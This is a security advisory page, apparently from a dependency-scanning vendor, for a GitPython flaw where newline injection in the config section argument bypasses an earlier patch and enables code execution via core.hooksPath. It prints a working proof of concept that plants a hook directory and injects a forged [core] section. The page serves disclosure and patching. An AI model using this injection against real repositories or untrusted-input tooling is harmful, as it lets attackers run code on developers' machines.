GHSA-mv93-w799-cj2w — gitpython
HIGHGHSA-mv93-w799-cj2w is a high-severity (CVSS 7) Improper Input Validation vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mv93-w799-cj2w.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mv93-w799-cj2w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.50pip install --upgrade 'gitpython==3.1.50' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.50 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mv93-w799-cj2w is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mv93-w799-cj2w can be triaged on real exposure rather than presence alone.
Tailored to GHSA-mv93-w799-cj2w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | llvm-main-22.1.8-4.1.hum1 | RHSA-2026:44416 |
| Red Hat Hardened Images | swift-lang-main-6.3.3-0.1.1.hum1 | RHSA-2026:45785 |
| Red Hat Hardened Images | llvm21-main-21.1.8-8.hum1 | RHSA-2026:45940 |
Frequently Asked Questions
Is GHSA-mv93-w799-cj2w in your dependencies?
O3 Security finds GHSA-mv93-w799-cj2w across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.